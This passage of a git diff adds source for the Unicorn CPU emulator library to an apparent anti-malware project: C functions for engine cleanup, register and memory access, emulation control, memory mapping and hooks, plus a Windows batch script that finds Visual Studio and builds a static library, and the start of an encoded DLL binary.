UNICORN_HAS_MIPS64EL + if (mode & UC_MODE_MIPS64) + uc->init_arch = mips64el_uc_init; +#endif + } + break; +#endif + +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: + if ((mode & ~UC_MODE_SPARC_MASK) || + !(mode & UC_MODE_BIG_ENDIAN) || + !(mode & (UC_MODE_SPARC32|UC_MODE_SPARC64))) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_SPARC64) + uc->init_arch = sparc64_uc_init; + else + uc->init_arch = sparc_uc_init; + break; +#endif + } + + if (uc->init_arch == NULL) { + return UC_ERR_ARCH; + } + + if (machine_initialize(uc)) + return UC_ERR_RESOURCE; + + *result = uc; + + if (uc->reg_reset) + uc->reg_reset(uc); + + return UC_ERR_OK; + } else { + return UC_ERR_ARCH; + } +} + + +UNICORN_EXPORT +uc_err uc_close(uc_engine *uc) +{ + int i; + struct list_item *cur; + struct hook *hook; + + // Cleanup internally. + if (uc->release) + uc->release(uc->tcg_ctx); + g_free(uc->tcg_ctx); + + // Cleanup CPU. + g_free(uc->cpu->tcg_as_listener); + g_free(uc->cpu->thread); + + // Cleanup all objects. + OBJECT(uc->machine_state->accelerator)->ref = 1; + OBJECT(uc->machine_state)->ref = 1; + OBJECT(uc->owner)->ref = 1; + OBJECT(uc->root)->ref = 1; + + object_unref(uc, OBJECT(uc->machine_state->accelerator)); + object_unref(uc, OBJECT(uc->machine_state)); + object_unref(uc, OBJECT(uc->cpu)); + object_unref(uc, OBJECT(&uc->io_mem_notdirty)); + object_unref(uc, OBJECT(&uc->io_mem_unassigned)); + object_unref(uc, OBJECT(&uc->io_mem_rom)); + object_unref(uc, OBJECT(uc->root)); + + // System memory. + g_free(uc->system_memory); + + // Thread relateds. + if (uc->qemu_thread_data) + g_free(uc->qemu_thread_data); + + // Other auxilaries. + free(uc->l1_map); + + if (uc->bounce.buffer) { + free(uc->bounce.buffer); + } + + g_hash_table_foreach(uc->type_table, free_table, uc); + g_hash_table_destroy(uc->type_table); + + for (i = 0; i < DIRTY_MEMORY_NUM; i++) { + free(uc->ram_list.dirty_memory[i]); + } + + // free hooks and hook lists + for (i = 0; i < UC_HOOK_MAX; i++) { + cur = uc->hook[i].head; + // hook can be in more than one list + // so we refcount to know when to free + while (cur) { + hook = (struct hook *)cur->data; + if (--hook->refs == 0) { + free(hook); + } + cur = cur->next; + } + list_clear(&uc->hook[i]); + } + + free(uc->mapped_blocks); + + // free the saved contexts list and notify them that uc has been closed. + cur = uc->saved_contexts.head; + while (cur != NULL) { + struct list_item *next = cur->next; + struct uc_context *context = (struct uc_context*)cur->data; + context->uc = NULL; + cur = next; + } + list_clear(&uc->saved_contexts); + + // finally, free uc itself. + memset(uc, 0, sizeof(*uc)); + free(uc); + + return UC_ERR_OK; +} + + +UNICORN_EXPORT +uc_err uc_reg_read_batch(uc_engine *uc, int *ids, void **vals, int count) +{ + if (uc->reg_read) + uc->reg_read(uc, (unsigned int *)ids, vals, count); + else + return -1; // FIXME: need a proper uc_err + + return UC_ERR_OK; +} + + +UNICORN_EXPORT +uc_err uc_reg_write_batch(uc_engine *uc, int *ids, void *const *vals, int count) +{ + int ret = UC_ERR_OK; + if (uc->reg_write) + ret = uc->reg_write(uc, (unsigned int *)ids, vals, count); + else + return UC_ERR_EXCEPTION; // FIXME: need a proper uc_err + + return ret; +} + + +UNICORN_EXPORT +uc_err uc_reg_read(uc_engine *uc, int regid, void *value) +{ + return uc_reg_read_batch(uc, ®id, &value, 1); +} + +UNICORN_EXPORT +uc_err uc_reg_write(uc_engine *uc, int regid, const void *value) +{ + return uc_reg_write_batch(uc, ®id, (void *const *)&value, 1); +} + +// check if a memory area is mapped +// this is complicated because an area can overlap adjacent blocks +static bool check_mem_area(uc_engine *uc, uint64_t address, size_t size) +{ + size_t count = 0, len; + + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + len = (size_t)MIN(size - count, mr->end - address); + count += len; + address += len; + } else // this address is not mapped in yet + break; + } + + return (count == size); +} + + +UNICORN_EXPORT +uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *_bytes, size_t size) +{ + size_t count = 0, len; + uint8_t *bytes = _bytes; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + if (!check_mem_area(uc, address, size)) + return UC_ERR_READ_UNMAPPED; + + // memory area can overlap adjacent memory blocks + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + len = (size_t)MIN(size - count, mr->end - address); + if (uc->read_mem(&uc->as, address, bytes, len) == false) + break; + count += len; + address += len; + bytes += len; + } else // this address is not mapped in yet + break; + } + + if (count == size) + return UC_ERR_OK; + else + return UC_ERR_READ_UNMAPPED; +} + +UNICORN_EXPORT +uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *_bytes, size_t size) +{ + size_t count = 0, len; + const uint8_t *bytes = _bytes; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + if (!check_mem_area(uc, address, size)) + return UC_ERR_WRITE_UNMAPPED; + + // memory area can overlap adjacent memory blocks + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + uint32_t operms = mr->perms; + if (!(operms & UC_PROT_WRITE)) // write protected + // but this is not the program accessing memory, so temporarily mark writable + uc->readonly_mem(mr, false); + + len = (size_t)MIN(size - count, mr->end - address); + if (uc->write_mem(&uc->as, address, bytes, len) == false) + break; + + if (!(operms & UC_PROT_WRITE)) // write protected + // now write protect it again + uc->readonly_mem(mr, true); + + count += len; + address += len; + bytes += len; + } else // this address is not mapped in yet + break; + } + + if (count == size) + return UC_ERR_OK; + else + return UC_ERR_WRITE_UNMAPPED; +} + +#define TIMEOUT_STEP 2 // microseconds +static void *_timeout_fn(void *arg) +{ + struct uc_struct *uc = arg; + int64_t current_time = get_clock(); + + do { + usleep(TIMEOUT_STEP); + // perhaps emulation is even done before timeout? + if (uc->emulation_done) + break; + } while((uint64_t)(get_clock() - current_time) < uc->timeout); + + // timeout before emulation is done? + if (!uc->emulation_done) { + uc->timed_out = true; + // force emulation to stop + uc_emu_stop(uc); + } + + return NULL; +} + +static void enable_emu_timer(uc_engine *uc, uint64_t timeout) +{ + uc->timeout = timeout; + qemu_thread_create(uc, &uc->timer, "timeout", _timeout_fn, + uc, QEMU_THREAD_JOINABLE); +} + +static void hook_count_cb(struct uc_struct *uc, uint64_t address, uint32_t size, void *user_data) +{ + // count this instruction. ah ah ah. + uc->emu_counter++; + + if (uc->emu_counter > uc->emu_count) + uc_emu_stop(uc); +} + +static void clear_deleted_hooks(uc_engine *uc) +{ + struct list_item * cur; + struct hook * hook; + int i; + + for (cur = uc->hooks_to_del.head; cur != NULL && (hook = (struct hook *)cur->data); cur = cur->next) { + assert(hook->to_delete); + for (i = 0; i < UC_HOOK_MAX; i++) { + if (list_remove(&uc->hook[i], (void *)hook)) { + if (--hook->refs == 0) { + free(hook); + } + + // a hook cannot be twice in the same list + break; + } + } + } + + list_clear(&uc->hooks_to_del); +} + +UNICORN_EXPORT +uc_err uc_emu_start(uc_engine* uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count) +{ + // reset the counter + uc->emu_counter = 0; + uc->invalid_error = UC_ERR_OK; + uc->block_full = false; + uc->emulation_done = false; + uc->size_recur_mem = 0; + uc->timed_out = false; + + switch(uc->arch) { + default: + break; +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: + uc_reg_write(uc, UC_M68K_REG_PC, &begin); + break; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: + switch(uc->mode) { + default: + break; + case UC_MODE_16: { + uint64_t ip; + uint16_t cs; + + uc_reg_read(uc, UC_X86_REG_CS, &cs); + // compensate for later adding up IP & CS + ip = begin - cs*16; + uc_reg_write(uc, UC_X86_REG_IP, &ip); + break; + } + case UC_MODE_32: + uc_reg_write(uc, UC_X86_REG_EIP, &begin); + break; + case UC_MODE_64: + uc_reg_write(uc, UC_X86_REG_RIP, &begin); + break; + } + break; +#endif +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: + uc_reg_write(uc, UC_ARM_REG_R15, &begin); + break; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: + uc_reg_write(uc, UC_ARM64_REG_PC, &begin); + break; +#endif +#ifdef UNICORN_HAS_MIPS + case UC_ARCH_MIPS: + // TODO: MIPS32/MIPS64/BIGENDIAN etc + uc_reg_write(uc, UC_MIPS_REG_PC, &begin); + break; +#endif +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: + // TODO: Sparc/Sparc64 + uc_reg_write(uc, UC_SPARC_REG_PC, &begin); + break; +#endif + } + + uc->stop_request = false; + + uc->emu_count = count; + // remove count hook if counting isn't necessary + if (count <= 0 && uc->count_hook != 0) { + uc_hook_del(uc, uc->count_hook); + uc->count_hook = 0; + } + // set up count hook to count instructions. + if (count > 0 && uc->count_hook == 0) { + uc_err err; + // callback to count instructions must be run before everything else, + // so instead of appending, we must insert the hook at the begin + // of the hook list + uc->hook_insert = 1; + err = uc_hook_add(uc, &uc->count_hook, UC_HOOK_CODE, hook_count_cb, NULL, 1, 0); + // restore to append mode for uc_hook_add() + uc->hook_insert = 0; + if (err != UC_ERR_OK) { + return err; + } + } + + uc->addr_end = until; + + if (timeout) + enable_emu_timer(uc, timeout * 1000); // microseconds -> nanoseconds + + if (uc->vm_start(uc)) { + return UC_ERR_RESOURCE; + } + + // emulation is done + uc->emulation_done = true; + + // remove hooks to delete + clear_deleted_hooks(uc); + + if (timeout) { + // wait for the timer to finish + qemu_thread_join(&uc->timer); + } + + return uc->invalid_error; +} + + +UNICORN_EXPORT +uc_err uc_emu_stop(uc_engine *uc) +{ + if (uc->emulation_done) + return UC_ERR_OK; + + uc->stop_request = true; + // TODO: make this atomic somehow? + if (uc->current_cpu) { + // exit the current TB + cpu_exit(uc->current_cpu); + } + + return UC_ERR_OK; +} + +// find if a memory range overlaps with existing mapped regions +static bool memory_overlap(struct uc_struct *uc, uint64_t begin, size_t size) +{ + unsigned int i; + uint64_t end = begin + size - 1; + + for(i = 0; i < uc->mapped_block_count; i++) { + // begin address falls inside this region? + if (begin >= uc->mapped_blocks[i]->addr && begin <= uc->mapped_blocks[i]->end - 1) + return true; + + // end address falls inside this region? + if (end >= uc->mapped_blocks[i]->addr && end <= uc->mapped_blocks[i]->end - 1) + return true; + + // this region falls totally inside this range? + if (begin < uc->mapped_blocks[i]->addr && end > uc->mapped_blocks[i]->end - 1) + return true; + } + + // not found + return false; +} + +// common setup/error checking shared between uc_mem_map and uc_mem_map_ptr +static uc_err mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, MemoryRegion *block) +{ + MemoryRegion **regions; + + if (block == NULL) + return UC_ERR_NOMEM; + + if ((uc->mapped_block_count & (MEM_BLOCK_INCR - 1)) == 0) { //time to grow + regions = (MemoryRegion**)g_realloc(uc->mapped_blocks, + sizeof(MemoryRegion*) * (uc->mapped_block_count + MEM_BLOCK_INCR)); + if (regions == NULL) { + return UC_ERR_NOMEM; + } + uc->mapped_blocks = regions; + } + + uc->mapped_blocks[uc->mapped_block_count] = block; + uc->mapped_block_count++; + + return UC_ERR_OK; +} + +static uc_err mem_map_check(uc_engine *uc, uint64_t address, size_t size, uint32_t perms) +{ + if (size == 0) + // invalid memory mapping + return UC_ERR_ARG; + + // address cannot wrapp around + if (address + size - 1 < address) + return UC_ERR_ARG; + + // address must be aligned to uc->target_page_size + if ((address & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // size must be multiple of uc->target_page_size + if ((size & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // check for only valid permissions + if ((perms & ~UC_PROT_ALL) != 0) + return UC_ERR_ARG; + + // this area overlaps existing mapped regions? + if (memory_overlap(uc, address, size)) { + return UC_ERR_MAP; + } + + return UC_ERR_OK; +} + +UNICORN_EXPORT +uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms) +{ + uc_err res; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + res = mem_map_check(uc, address, size, perms); + if (res) + return res; + + return mem_map(uc, address, size, perms, uc->memory_map(uc, address, size, perms)); +} + +UNICORN_EXPORT +uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr) +{ + uc_err res; + + if (ptr == NULL) + return UC_ERR_ARG; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + res = mem_map_check(uc, address, size, perms); + if (res) + return res; + + return mem_map(uc, address, size, UC_PROT_ALL, uc->memory_map_ptr(uc, address, size, perms, ptr)); +} + +// Create a backup copy of the indicated MemoryRegion. +// Generally used in prepartion for splitting a MemoryRegion. +static uint8_t *copy_region(struct uc_struct *uc, MemoryRegion *mr) +{ + uint8_t *block = (uint8_t *)g_malloc0((size_t)int128_get64(mr->size)); + if (block != NULL) { + uc_err err = uc_mem_read(uc, mr->addr, block, (size_t)int128_get64(mr->size)); + if (err != UC_ERR_OK) { + free(block); + block = NULL; + } + } + + return block; +} + +/* + Split the given MemoryRegion at the indicated address for the indicated size + this may result in the create of up to 3 spanning sections. If the delete + parameter is true, the no new section will be created to replace the indicate + range. This functions exists to support uc_mem_protect and uc_mem_unmap. + + This is a static function and callers have already done some preliminary + parameter validation. + + The do_delete argument indicates that we are being called to support + uc_mem_unmap. In this case we save some time by choosing NOT to remap + the areas that are intended to get unmapped + */ +// TODO: investigate whether qemu region manipulation functions already offered +// this capability +static bool split_region(struct uc_struct *uc, MemoryRegion *mr, uint64_t address, + size_t size, bool do_delete) +{ + uint8_t *backup; + uint32_t perms; + uint64_t begin, end, chunk_end; + size_t l_size, m_size, r_size; + RAMBlock *block = NULL; + bool prealloc = false; + + chunk_end = address + size; + + // if this region belongs to area [address, address+size], + // then there is no work to do. + if (address <= mr->addr && chunk_end >= mr->end) + return true; + + if (size == 0) + // trivial case + return true; + + if (address >= mr->end || chunk_end <= mr->addr) + // impossible case + return false; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (block->offset <= mr->addr && block->length >= (mr->end - mr->addr)) { + break; + } + } + + if (block == NULL) + return false; + + // RAM_PREALLOC is not defined outside exec.c and I didn't feel like + // moving it + prealloc = !!(block->flags & 1); + + if (block->flags & 1) { + backup = block->host; + } else { + backup = copy_region(uc, mr); + if (backup == NULL) + return false; + } + + // save the essential information required for the split before mr gets deleted + perms = mr->perms; + begin = mr->addr; + end = mr->end; + + // unmap this region first, then do split it later + if (uc_mem_unmap(uc, mr->addr, (size_t)int128_get64(mr->size)) != UC_ERR_OK) + goto error; + + /* overlapping cases + * |------mr------| + * case 1 |---size--| + * case 2 |--size--| + * case 3 |---size--| + */ + + // adjust some things + if (address < begin) + address = begin; + if (chunk_end > end) + chunk_end = end; + + // compute sub region sizes + l_size = (size_t)(address - begin); + r_size = (size_t)(end - chunk_end); + m_size = (size_t)(chunk_end - address); + + // If there are error in any of the below operations, things are too far gone + // at that point to recover. Could try to remap orignal region, but these smaller + // allocation just failed so no guarantee that we can recover the original + // allocation at this point + if (l_size > 0) { + if (!prealloc) { + if (uc_mem_map(uc, begin, l_size, perms) != UC_ERR_OK) + goto error; + if (uc_mem_write(uc, begin, backup, l_size) != UC_ERR_OK) + goto error; + } else { + if (uc_mem_map_ptr(uc, begin, l_size, perms, backup) != UC_ERR_OK) + goto error; + } + } + + if (m_size > 0 && !do_delete) { + if (!prealloc) { + if (uc_mem_map(uc, address, m_size, perms) != UC_ERR_OK) + goto error; + if (uc_mem_write(uc, address, backup + l_size, m_size) != UC_ERR_OK) + goto error; + } else { + if (uc_mem_map_ptr(uc, address, m_size, perms, backup + l_size) != UC_ERR_OK) + goto error; + } + } + + if (r_size > 0) { + if (!prealloc) { + if (uc_mem_map(uc, chunk_end, r_size, perms) != UC_ERR_OK) + goto error; + if (uc_mem_write(uc, chunk_end, backup + l_size + m_size, r_size) != UC_ERR_OK) + goto error; + } else { + if (uc_mem_map_ptr(uc, chunk_end, r_size, perms, backup + l_size + m_size) != UC_ERR_OK) + goto error; + } + } + + if (!prealloc) + free(backup); + return true; + +error: + if (!prealloc) + free(backup); + return false; +} + +UNICORN_EXPORT +uc_err uc_mem_protect(struct uc_struct *uc, uint64_t address, size_t size, uint32_t perms) +{ + MemoryRegion *mr; + uint64_t addr = address; + size_t count, len; + bool remove_exec = false; + + if (size == 0) + // trivial case, no change + return UC_ERR_OK; + + // address must be aligned to uc->target_page_size + if ((address & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // size must be multiple of uc->target_page_size + if ((size & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // check for only valid permissions + if ((perms & ~UC_PROT_ALL) != 0) + return UC_ERR_ARG; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + // check that user's entire requested block is mapped + if (!check_mem_area(uc, address, size)) + return UC_ERR_NOMEM; + + // Now we know entire region is mapped, so change permissions + // We may need to split regions if this area spans adjacent regions + addr = address; + count = 0; + while(count < size) { + mr = memory_mapping(uc, addr); + len = (size_t)MIN(size - count, mr->end - addr); + if (!split_region(uc, mr, addr, len, false)) + return UC_ERR_NOMEM; + + mr = memory_mapping(uc, addr); + // will this remove EXEC permission? + if (((mr->perms & UC_PROT_EXEC) != 0) && ((perms & UC_PROT_EXEC) == 0)) + remove_exec = true; + mr->perms = perms; + uc->readonly_mem(mr, (perms & UC_PROT_WRITE) == 0); + + count += len; + addr += len; + } + + // if EXEC permission is removed, then quit TB and continue at the same place + if (remove_exec) { + uc->quit_request = true; + uc_emu_stop(uc); + } + + return UC_ERR_OK; +} + +UNICORN_EXPORT +uc_err uc_mem_unmap(struct uc_struct *uc, uint64_t address, size_t size) +{ + MemoryRegion *mr; + uint64_t addr; + size_t count, len; + + if (size == 0) + // nothing to unmap + return UC_ERR_OK; + + // address must be aligned to uc->target_page_size + if ((address & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // size must be multiple of uc->target_page_size + if ((size & uc->target_page_align) != 0) + return UC_ERR_ARG; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + // check that user's entire requested block is mapped + if (!check_mem_area(uc, address, size)) + return UC_ERR_NOMEM; + + // Now we know entire region is mapped, so do the unmap + // We may need to split regions if this area spans adjacent regions + addr = address; + count = 0; + while(count < size) { + mr = memory_mapping(uc, addr); + len = (size_t)MIN(size - count, mr->end - addr); + if (!split_region(uc, mr, addr, len, true)) + return UC_ERR_NOMEM; + + // if we can retrieve the mapping, then no splitting took place + // so unmap here + mr = memory_mapping(uc, addr); + if (mr != NULL) + uc->memory_unmap(uc, mr); + count += len; + addr += len; + } + + return UC_ERR_OK; +} + +// find the memory region of this address +MemoryRegion *memory_mapping(struct uc_struct* uc, uint64_t address) +{ + unsigned int i; + + if (uc->mapped_block_count == 0) + return NULL; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + // try with the cache index first + i = uc->mapped_block_cache_index; + + if (i < uc->mapped_block_count && address >= uc->mapped_blocks[i]->addr && address < uc->mapped_blocks[i]->end) + return uc->mapped_blocks[i]; + + for(i = 0; i < uc->mapped_block_count; i++) { + if (address >= uc->mapped_blocks[i]->addr && address <= uc->mapped_blocks[i]->end - 1) { + // cache this index for the next query + uc->mapped_block_cache_index = i; + return uc->mapped_blocks[i]; + } + } + + // not found + return NULL; +} + +UNICORN_EXPORT +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...) +{ + int ret = UC_ERR_OK; + int i = 0; + + struct hook *hook = calloc(1, sizeof(struct hook)); + if (hook == NULL) { + return UC_ERR_NOMEM; + } + + hook->begin = begin; + hook->end = end; + hook->type = type; + hook->callback = callback; + hook->user_data = user_data; + hook->refs = 0; + hook->to_delete = false; + *hh = (uc_hook)hook; + + // UC_HOOK_INSN has an extra argument for instruction ID + if (type & UC_HOOK_INSN) { + va_list valist; + + va_start(valist, end); + hook->insn = va_arg(valist, int); + va_end(valist); + + if (uc->insn_hook_validate) { + if (! uc->insn_hook_validate(hook->insn)) { + free(hook); + return UC_ERR_HOOK; + } + } + + if (uc->hook_insert) { + if (list_insert(&uc->hook[UC_HOOK_INSN_IDX], hook) == NULL) { + free(hook); + return UC_ERR_NOMEM; + } + } else { + if (list_append(&uc->hook[UC_HOOK_INSN_IDX], hook) == NULL) { + free(hook); + return UC_ERR_NOMEM; + } + } + + hook->refs++; + return UC_ERR_OK; + } + + while ((type >> i) > 0) { + if ((type >> i) & 1) { + // TODO: invalid hook error? + if (i < UC_HOOK_MAX) { + if (uc->hook_insert) { + if (list_insert(&uc->hook[i], hook) == NULL) { + if (hook->refs == 0) { + free(hook); + } + return UC_ERR_NOMEM; + } + } else { + if (list_append(&uc->hook[i], hook) == NULL) { + if (hook->refs == 0) { + free(hook); + } + return UC_ERR_NOMEM; + } + } + hook->refs++; + } + } + i++; + } + + // we didn't use the hook + // TODO: return an error? + if (hook->refs == 0) { + free(hook); + } + + return ret; +} + + +UNICORN_EXPORT +uc_err uc_hook_del(uc_engine *uc, uc_hook hh) +{ + int i; + struct hook *hook = (struct hook *)hh; + + // we can't dereference hook->type if hook is invalid + // so for now we need to iterate over all possible types to remove the hook + // which is less efficient + // an optimization would be to align the hook pointer + // and store the type mask in the hook pointer. + for (i = 0; i < UC_HOOK_MAX; i++) { + if (list_exists(&uc->hook[i], (void *) hook)) { + hook->to_delete = true; + list_append(&uc->hooks_to_del, hook); + } + } + + return UC_ERR_OK; +} + +// TCG helper +void helper_uc_tracecode(int32_t size, uc_hook_type type, void *handle, int64_t address); +void helper_uc_tracecode(int32_t size, uc_hook_type type, void *handle, int64_t address) +{ + struct uc_struct *uc = handle; + struct list_item *cur; + struct hook *hook; + + // sync PC in CPUArchState with address + if (uc->set_pc) { + uc->set_pc(uc, address); + } + + for (cur = uc->hook[type].head; cur != NULL && (hook = (struct hook *)cur->data); cur = cur->next) { + if (hook->to_delete) + continue; + if (HOOK_BOUND_CHECK(hook, (uint64_t)address)) { + ((uc_cb_hookcode_t)hook->callback)(uc, address, size, hook->user_data); + } + } +} + +UNICORN_EXPORT +uint32_t uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count) +{ + uint32_t i; + uc_mem_region *r = NULL; + + *count = uc->mapped_block_count; + + if (*count) { + r = g_malloc0(*count * sizeof(uc_mem_region)); + if (r == NULL) { + // out of memory + return UC_ERR_NOMEM; + } + } + + for (i = 0; i < *count; i++) { + r[i].begin = uc->mapped_blocks[i]->addr; + r[i].end = uc->mapped_blocks[i]->end - 1; + r[i].perms = uc->mapped_blocks[i]->perms; + } + + *regions = r; + + return UC_ERR_OK; +} + +UNICORN_EXPORT +uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result) +{ + switch(type) { + default: + return UC_ERR_ARG; + + case UC_QUERY_PAGE_SIZE: + *result = uc->target_page_size; + break; + + case UC_QUERY_ARCH: + *result = uc->arch; + break; + + case UC_QUERY_MODE: +#ifdef UNICORN_HAS_ARM + if (uc->arch == UC_ARCH_ARM) { + return uc->query(uc, type, result); + } +#endif + return UC_ERR_ARG; + + case UC_QUERY_TIMEOUT: + *result = uc->timed_out; + break; + } + + return UC_ERR_OK; +} + +static size_t cpu_context_size(uc_arch arch, uc_mode mode) +{ + // each of these constants is defined by offsetof(CPUXYZState, tlb_table) + // tbl_table is the first entry in the CPU_COMMON macro, so it marks the end + // of the interesting CPU registers + switch (arch) { +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: return M68K_REGS_STORAGE_SIZE; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: return X86_REGS_STORAGE_SIZE; +#endif +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: return mode & UC_MODE_BIG_ENDIAN ? +#ifdef UNICORN_HAS_ARMEB + ARM_REGS_STORAGE_SIZE_armeb +#else + 0 +#endif + : ARM_REGS_STORAGE_SIZE_arm; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: return mode & UC_MODE_BIG_ENDIAN ? ARM64_REGS_STORAGE_SIZE_aarch64eb : ARM64_REGS_STORAGE_SIZE_aarch64; +#endif +#ifdef UNICORN_HAS_MIPS + case UC_ARCH_MIPS: + if (mode & UC_MODE_MIPS64) { + if (mode & UC_MODE_BIG_ENDIAN) { + return MIPS64_REGS_STORAGE_SIZE_mips64; + } else { + return MIPS64_REGS_STORAGE_SIZE_mips64el; + } + } else { + if (mode & UC_MODE_BIG_ENDIAN) { + return MIPS_REGS_STORAGE_SIZE_mips; + } else { + return MIPS_REGS_STORAGE_SIZE_mipsel; + } + } +#endif +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: return mode & UC_MODE_SPARC64 ? SPARC64_REGS_STORAGE_SIZE : SPARC_REGS_STORAGE_SIZE; +#endif + default: return 0; + } +} + +UNICORN_EXPORT +uc_err uc_context_alloc(uc_engine *uc, uc_context **context) +{ + struct uc_context **_context = context; + size_t size = uc_context_size(uc); + + *_context = malloc(size); + if (*_context) { + (*_context)->jmp_env_size = sizeof(*uc->cpu->jmp_env); + (*_context)->context_size = cpu_context_size(uc->arch, uc->mode); + (*_context)->uc = uc; + if (list_insert(&uc->saved_contexts, *_context)) { + return UC_ERR_OK; + } else { + return UC_ERR_NOMEM; + } + } else { + return UC_ERR_NOMEM; + } +} + +UNICORN_EXPORT +uc_err uc_free(void *mem) +{ + g_free(mem); + return UC_ERR_OK; +} + +UNICORN_EXPORT +size_t uc_context_size(uc_engine *uc) +{ + // return the total size of struct uc_context + return sizeof(uc_context) + cpu_context_size(uc->arch, uc->mode) + sizeof(*uc->cpu->jmp_env); +} + +UNICORN_EXPORT +uc_err uc_context_save(uc_engine *uc, uc_context *context) +{ + memcpy(context->data, uc->cpu->env_ptr, context->context_size); + memcpy(context->data + context->context_size, uc->cpu->jmp_env, context->jmp_env_size); + + return UC_ERR_OK; +} + +UNICORN_EXPORT +uc_err uc_context_restore(uc_engine *uc, uc_context *context) +{ + memcpy(uc->cpu->env_ptr, context->data, context->context_size); + if (list_exists(&uc->saved_contexts, context)) { + memcpy(uc->cpu->jmp_env, context->data + context->context_size, context->jmp_env_size); + } + + return UC_ERR_OK; +} + +UNICORN_EXPORT +uc_err uc_context_free(uc_context *context) +{ + uc_engine* uc = context->uc; + // if uc is NULL, it means that uc_engine has been free-ed. + if (uc) { + list_remove(&uc->saved_contexts, context); + } + return uc_free(context); +} \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/windows_export.bat b/ai_anti_malware/unicorn/unicorn-master/windows_export.bat new file mode 100644 index 0000000..430efcc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/windows_export.bat @@ -0,0 +1,43 @@ +@echo off +setlocal ENABLEDELAYEDEXPANSION + +if not "%1"=="x86" if not "%1"=="x64" ( + echo Usage: windows_export.bat (x86 ^| x64^) + exit /b 1 +) + +:: This script invokes the Visual Studio linker to construct a static library file that can be used outside of Mingw. +:: The unicorn.def file that it references below is produced by the Mingw compiler via a linker flag. +:: The arch (x86 or x64) we are working on should be passed via the first argument to this script. + +:: Look up the Visual Studio install path via the registry +:: http://stackoverflow.com/questions/445167/how-can-i-get-the-value-of-a-registry-key-from-within-a-batch-script +:: There's no way to get the current installed VS version other than enumerating a version whitelist +:: If anyone ever tells you that Windows is a reasonable operating system, they are wrong + +echo Searching for installed visual studio version... +for %%V in ( +HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\VisualStudio\12.0 +HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\VisualStudio\14.0 +HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\VisualStudio\15.0 +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\12.0 +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\14.0 +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\15.0 +) do ( + echo ...trying registry key %%V + for /F "usebackq tokens=3*" %%A IN (`REG QUERY %%V /v InstallDir 2^>NUL`) DO ( + set appdir=%%A %%B + ) + if not "!appdir!"=="" goto :break +) +:break + +if "%appdir%"=="" ( + echo Could not find an installed visual studio version. Abandoning windows static lib export operation. +) else ( + :: Add the Visual Studio binaries to our path and run the linker + call "%appdir%..\..\VC\vcvarsall.bat" %1 + call lib /machine:%1 /def:unicorn.def +) + +exit /b 0 diff --git a/ai_anti_malware/unicorn/unicorn.dll b/ai_anti_malware/unicorn/unicorn.dll new file mode 100644 index 0000000000000000000000000000000000000000..00a00016640e730c828322ba4fd01dfb3d092e2a GIT binary patch literal 3667456 zcmeEveSB2K_4nQEk}PCpFS6(gE3C3;Bq^>WVjw{`kT(@!L&z=&B-kINYf2TvE(wYd zyb0lET%oPD>d#hfZA)8!mHHar6M|Vl!~j*Ps0HiG#3)9sB-Yk_zGvp{X2VO{-|zY3 zd7jVbNj~@9d7m?9&YU@O=FIFh*KSqJilSKX#N&$6hA;j3#QR^oOo}pc!ZRb4$A`ai zUYlvoE9Wf;UBBABs_w?`)?N2~_kUb>!wolv-QWI>yDoBr`}!N)#q%oN-@kGBccz?i z#t4s5^bCDv#d@BWmUt#Ln#|Y1KdCXp{Gs@!o0sFe>Fx~kGVx6}-zdH&5k9HWY`zu# z_1v5`0pH#Cq?_w|=$mHVApDB>&cFUYLR80zE%KKr${f=$W#Qf}HHo+*O4@murjg?m zhgVVF$q>Pl9+;viDx6+~k&E0YEuDP$OMDeyzCh-cALJw22Mi%0rA>aNxBIC}m7U0c 